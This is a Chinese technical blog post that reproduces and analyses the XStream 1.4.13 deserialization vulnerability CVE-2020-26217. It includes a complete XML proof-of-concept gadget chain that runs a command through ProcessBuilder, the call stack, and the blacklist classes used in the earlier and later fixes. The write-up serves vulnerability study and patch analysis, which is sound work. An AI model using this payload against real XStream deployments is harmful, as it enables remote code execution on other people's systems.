『Java安全』XStream 1.4.13反序列化漏洞CVE-2020-26217复现与浅析

漏洞简介

该漏洞是对CVE-2013-7285的绕过,在上一个版本做了以下修复:

  • 新增一个内置黑名单converter过滤EventHandler等
    private class InternalBlackList implements Converter {
        private InternalBlackList() {
        }

        public boolean canConvert(Class type) {
            return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
        }
        public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
            throw new ConversionException("Security alert. Marshalling rejected.");
        }

        public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
            throw new ConversionException("Security alert. Unmarshalling rejected.");
        }

  • 新增安全框架开发者可选择自定义黑白名单、以及使用默认安全策略

https://x-stream.github.io/security.html#framework
开发者自定义黑白名单
在这里插入图片描述
默认安全策略
在这里插入图片描述

影响版本

XStream ≤ 1.4.13

pom.xml

        <!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
        <dependency>
            <groupId>com.thoughtworks.xstream</groupId>
            <artifactId>xstream</artifactId>
            <version>1.4.13</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/xpp3/xpp3_min -->
        <dependency>
            <groupId>xpp3</groupId>
            <artifactId>xpp3_min</artifactId>
            <version>1.1.4c</version>
        </dependency>

PoC

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>calc</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

代码审计

初步猜测

前置漏洞CVE-2013-7285已经分析过了

https://ho1aas.blog.csdn.net/article/details/126297121

涉及到的对象的层次结构大致如下:

map
  jdk.nashorn.internal.objects.NativeString
    com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
      dataHandler
        com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
          java.io.SequenceInputStream
            javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator
              javax.imageio.spi.FilterIterator
                java.util.ArrayList$Itr
                javax.imageio.ImageIO$ContainsFilter

关键应该就是在后三个,重点看一下

javax.imageio.spi.FilterIterator
  java.util.ArrayList$Itr
  javax.imageio.ImageIO$ContainsFilter

javax.imageio.spi.FilterIterator有个advance方法,会调用filter.filter()

在这里插入图片描述
javax.imageio.ImageIO$ContainsFilter的filter刚好能够反射调用方法

在这里插入图片描述
接下来就是具体调试看看如何调用到这一步

原理分析

反序列化map对象,new了一个空的,然后来到putCurrentEntryIntoMap把元素依次放进去,元素此时通过readCompleteItem()才开始反序列化

在这里插入图片描述
这里使用了栈来处理反序列化时对象之间的层次关系

在这里插入图片描述
接着,首先获取元素的类型,然后也是复用convertAnother进行反序列化

在这里插入图片描述
细节在doUnmarshal之中,对于同层次的节点直接穷举依次反序列化,“深度优先”

在这里插入图片描述
第一轮循环给NativeString赋值flags,然后第二次循环来处理<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>,先通过反射获取field

在这里插入图片描述
然后从xml的标签class属性获取值的类型

在这里插入图片描述
然后通过unmarshallField实例化,核心也是convertAnother

在这里插入图片描述
接下来就是循环递归反序列化上面的过程,我们直接看最后是怎么触发的


在这里插入图片描述
hashmap put去重调用了NativeString的hashCode,然后进入getStringValue

在这里插入图片描述
调用Base64data.toString()

在这里插入图片描述
先调了自身的get方法

在这里插入图片描述
如果Base64data.data为空就从数据源获取输入流并读取

在这里插入图片描述
读取会调用SequenceInputStream.nextStream(),然后调用MultiUIDefaults.nextElement()
在这里插入图片描述
如果type是KEYS,就会调用迭代器next的getKey方法获取

在这里插入图片描述
FilterIterator.next()调用了advance,然后就命令执行了

在这里插入图片描述

POP链

invoke:488, Method (java.lang.reflect)
filter:613, ImageIO$ContainsFilter (javax.imageio)
advance:821, FilterIterator (javax.imageio.spi)
next:839, FilterIterator (javax.imageio.spi)
nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:110, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:122, NativeString (jdk.nashorn.internal.objects)
hashCode:118, NativeString (jdk.nashorn.internal.objects)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1277, XStream (com.thoughtworks.xstream)
main:11, Main (OneFourThirteen)

新版本修复分析

1.14.4不允许反序列化ProcessBuilder

在这里插入图片描述
realClass有类型判断

在这里插入图片描述
ban了三个类

在这里插入图片描述

衍生漏洞

与CVE-2020-26258和CVE-2020-26259是同类型漏洞,适当的dataSource可以触发SSRF和任意文件删除

https://x-stream.github.io/CVE-2020-26258.html
https://x-stream.github.io/CVE-2020-26259.html

参考

https://x-stream.github.io/CVE-2020-26217.html

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/126347957
版权声明:本文为原创,转载时须注明出处及本声明

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值